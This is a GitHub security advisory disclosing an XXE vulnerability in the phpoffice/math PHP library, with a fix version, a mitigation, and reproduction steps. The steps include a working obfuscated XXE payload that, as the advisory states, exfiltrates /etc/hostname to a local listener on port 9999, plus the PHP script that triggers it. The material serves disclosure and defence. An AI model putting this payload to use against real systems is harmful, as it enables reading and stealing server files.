GHSA-42hm-pq2f-3r7m
PHPOffice Math allows XXE when processing an XML file in the MathML format
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | phpoffice/math | < 0.3.0 | 0.3.0 |
Details
As written in the advisory (Markdown source, shown as plain text).
**Product:** Math
**Version:** 0.2.0
**CWE-ID:** CWE-611: Improper Restriction of XML External Entity Reference
**CVSS vector v.4.0:** 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)
**CVSS vector v.3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
**Description:** An attacker can create a special XML file, during which it processed, external entities are loaded, and it’s possible to read local server files.
**Impact:** Local server files reading
**Vulnerable component:** The [`loadXML`](https://github.com/PHPOffice/Math/blob/c3ecbf35601e2a322bf2ddba48589d79ac827b92/src/Math/Reader/MathML.php#L38C9-L38C55) function with the unsafe [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag, the [`MathML`](https://github.com/PHPOffice/Math/blob/master/src/Math/Reader/MathML.php) class
**Exploitation conditions:** The vulnerability applies only to reading a file in the `MathML` format.
**Mitigation:** If there is no option to refuse using the [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag, it’s recommended to filter external entities through the implementation of the [`custom external entity loader function`](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php).
**Researcher: Aleksandr Zhurnakov (Positive Technologies)**
## Research
Zero-day vulnerability was discovered in the [Math](https://github.com/PHPOffice/Math) library in the detailed process of the XXE vulnerability research in PHP.
Loading XML data, using the standard [`libxml`](https://www.php.net/manual/en/book.libxml.php) extension and the [`LIBXML_DTDLOAD`](https://www.php.net/manual/en/libxml.constants.php#constant.libxml-dtdload) flag without additional filtration, leads to XXE.
Below are steps to reproduce the vulnerability.
1. Preparation:
- The payload was tested on the PHP versions >= 8.1.
- The [composer](https://getcomposer.org/) manager is used to install the latest version of the Math library.
- PHP has to be configurated with [Zlib](https://www.php.net/manual/ru/book.zlib.php) support.
- The necessary [requirements](https://github.com/PHPOffice/Math?tab=readme-ov-file#requirements) for the Math library must be installed.
- The `netcat` utility is used for demonstration exfiltration.
2. Make `math` directory and then moving into it.
````
mkdir math && cd math
````
3. Install the latest actual version of the library (Figure 1).
```
composer require phpoffice/math
````
_Figure 1. Installing the library_
<img width="630" alt="fig2" src="https://github.com/user-attachments/assets/bb0c6781-4f5a-411c-970d-9402e652ad87" />
4. Create `poc.xml` file (Listing 1):
_Listing 1. Creating `poc.xml`_
```
xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE x SYSTEM
"php://filter/convert.base64-
decode/zlib.inflate/resource=data:,7Ztdb9owFIbv%2bRVZJ9armNjOZ2k7QUaL%2bRYO2nqFUn
BFNQaMptP272cnNFuTsBbSskg1iATZzvGxn/ccX3A4fdfoecS7UsrK1A98hV5Rr9FVjlaz1UmlcnM7D9i
6MlkufrB1AK79O2bqKltMllMWt96KL6ADwci7sJ4Yu0vr9/tlwKbqan27CPzrOXvevFGrbRvOGIseaCa7
TAxok1x44xahXzQEcdKPKZPevap3RZw920I0VscWGLlU1efPsy0c5cbV1AoI7ZuOMCZW12nkcP9Q2%2bQ
ObBNmL6ajg8s6xJqmJTrq5NIArX6zVk8Zcwwt4fPuLvHnbeBSvpdIQ6g93MvUv3CHqKNrmtEW4EYmCr5g
DT5QzyNWE4x6xO1/aqQmgMhGYgaVDFUnScKltbFnaJoKHRuHK0L1pIkuaYselMe9cPUqRmm5C51u00kkh
y1S3aBougkl7e4d6RGaTYeSehdCjAG/O/p%2bYfKyQsoLmgdlmsFYQFDjh6GWJyGE0ZfMX08EZtwNTdAY
ud7nLcksnwppA2UnqpCzgyDo1QadAU3vLOQZ82EHMxAi0KVcq7rzas5xD6AQoeqkYkgk02abukkJ/z%2b
Nvkj%2bjUy16Ba5d/S8anhBLwt44EgGkoFkIBlIBpKBZCAZSAaSgWQgGUgGkoFkIBlIBpKBZCAZSAaSgW
QgGUgGxWOwW2nF7kt%2by7/Kb3ag2GUTUgBvXAAxiKxt4Is3sB4WniVrOvhwzB0CXerg5GN9esGRQv7Rg
QdMmMO9sIwtc/sIJUOCsY4ee7f7FIWu2Si4euKan8wg58nFsEIXxYGntgZqMog3Z2FrgPhgyzIOlsmijo
wqwb0jyMqMoGEbarqdOpP/iqFISMkSVFG1Z5p8f3OK%2bxAZ7gClpgUPg70rq0T2RIkcup/0newQ7NbcU
Xv/DPl4LL/N7hdfn2dp07pmd8v79YSdVVgwqcyWd8HC/8aOzkunf6r%2b2c8bpSxK/6uPmlf%2br/nSny
rHcduH99iqKiz7HwLxTLMgEM0QWUDjb3ji8NdHPslZmV%2bqR%2bfH56Xyxni1VGbV0m8="
[]><foo></foo>
```
5. Create `math.php` file (Listing 2):
*Listing 2. Creating `math.php`*
````
<?php
require_once "./vendor/autoload.php";
$reader = new \PhpOffice\Math\Reader\MathML();
$reader->read(
file_get_contents('poc.xml')
);
````
6. The payload (see the step 4) is set to exfiltrate the `/etc/hostname` file through `http://127.0.0.1:9999/`, so the listening socket is launched at the `9999` port (Figure 2)
_Figure 2. Launching the listening socket_
<img width="550" alt="fig2" src="https://github.com/user-attachments/assets/6da5b966-70be-4e3e-9bde-c6baf4dfef34" />
7. Execute php-script via console:
````
php math.php
````
6 characters from the `/etc/hostname` file will be exfiltrated to the `9999` port in base64 format (Figure 3).
_Figure 3. Characters exfiltration_
<img width="520" alt="fig3" src="https://github.com/user-attachments/assets/f0eae873-d156-442f-ab08-12dd94a8dbe9" />
Decode the received data from base64 removing the last `M` character (the payload feature) (Figure 4).
*Figure 4. Data decoding*
<img width="595" alt="fig4" src="https://github.com/user-attachments/assets/7a091a07-7856-41a0-b1bd-3d8009303ced" />
8. By changing the payload, the remaining file can be received.
## Credits
Aleksandr Zhurnakov (Positive Technologies)
References
External links from the advisory. They lead to third-party sites.